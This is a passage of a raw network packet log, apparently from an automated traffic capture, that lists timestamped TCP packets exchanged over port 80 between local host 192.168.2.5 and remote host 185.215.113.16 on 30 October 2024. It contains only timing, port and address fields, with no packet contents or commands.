Oct 30, 2024 21:55:26.063915968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.063925982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.063951969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.063956976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.063965082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.063976049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064024925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064024925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064147949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064166069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064182997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064196110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064207077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064217091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064227104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064237118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064244032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064254045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064265966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064275026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064275026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064275980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064289093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064300060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064310074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064326048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064326048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064354897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064369917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064498901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064507961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064519882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064532042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064543009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064563036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064563036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064587116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.064970970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064984083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.064992905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065004110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065021038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065032959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065063000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065074921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065076113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.065076113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.065087080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065098047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065109015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065150976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.065150976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.065330982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065351963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065371990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065385103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065397024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065409899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065421104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065429926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.065431118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065450907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065463066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065470934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.065498114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.065556049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065567017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065577984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065587997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065598965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.065620899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.065706968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.067892075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.067904949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.067914963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.067926884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.067939043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.067996979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068026066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068205118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068214893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068228006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068247080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068253040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068259954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068264961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068274975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068357944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068368912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068388939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068398952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068409920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068413973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068413973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068423033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068466902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068466902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068515062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068526030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068542004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068550110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068658113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068670034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068681955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068691969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068703890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068715096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068727016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068738937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068743944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068780899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068828106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068840981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068850994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068864107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068876028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.068878889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068912983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.068912983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.069117069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.069211006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.069220066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.069231033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.069278955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.069278955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.109369040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.109388113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.109396935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.109462023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.136879921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.136890888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.136900902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.136912107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.137100935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.137124062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.137140036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.137149096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.137166023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.137180090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.137191057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.137213945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.137213945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.140135050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.140188932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.140197992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.140223026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.140255928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.143718004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.143805981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.143815994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.143968105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.143973112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.143990993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.143997908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.144007921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.144021034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.144031048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.144045115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.144053936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.144068003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.144068003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.144141912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.181042910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181055069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181066036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181077003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181185007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.181291103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181375980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181385994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181425095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181432962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.181436062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181448936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181495905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.181699038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181710958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181723118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181732893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181745052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181783915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.181838036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.181946039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181957006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181967974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.181979895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182002068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182013035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182022095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182022095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182023048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182038069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182063103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182073116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182073116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182074070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182086945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182106018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182113886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182117939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182128906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182142973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182158947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182158947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182267904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182277918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182337999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182348967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182349920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182360888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182400942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182488918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182508945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182519913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182533026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182545900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182555914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182574987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182574987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182631969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.182857990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182956934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182971954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182981968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.182992935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183003902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183016062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183026075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183031082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183031082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183053017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183079004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183089018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183106899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183108091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183118105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183146954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183146954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183151007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183163881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183301926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183320045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183358908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183358908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183368921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183383942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183394909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183407068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183443069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183459997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183562040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183573008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183582067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183593988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183604002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183633089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183659077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183664083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183670044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183681011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183692932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183702946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.183725119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.183760881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186403036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186414957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186425924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186482906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186492920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186502934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186512947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186522961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186527014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186527014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186533928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186542988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186544895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186558962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186583042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186594963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186604023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186613083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186620951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186620951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186625004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186636925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186647892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186660051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186671972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186683893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186692953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186702967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186718941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186727047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186727047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186731100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186742067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186752081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186763048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186774969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186774969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186780930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186790943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186801910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186810970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186820030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186820030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186821938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186840057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186849117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186858892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186866045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186896086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186896086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.186969042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186980009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186990023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.186999083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.187007904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.187019110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.187052965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.187052965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.187344074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.187355042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.187362909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.187525988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.230424881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.230437040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.230448008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.230547905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.230547905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.254904032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.254911900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.254918098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.254923105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.255157948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.255160093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:26.255176067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.255188942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:26.255234957 CET	49712	80	192.168.2.5	185.215.113.16
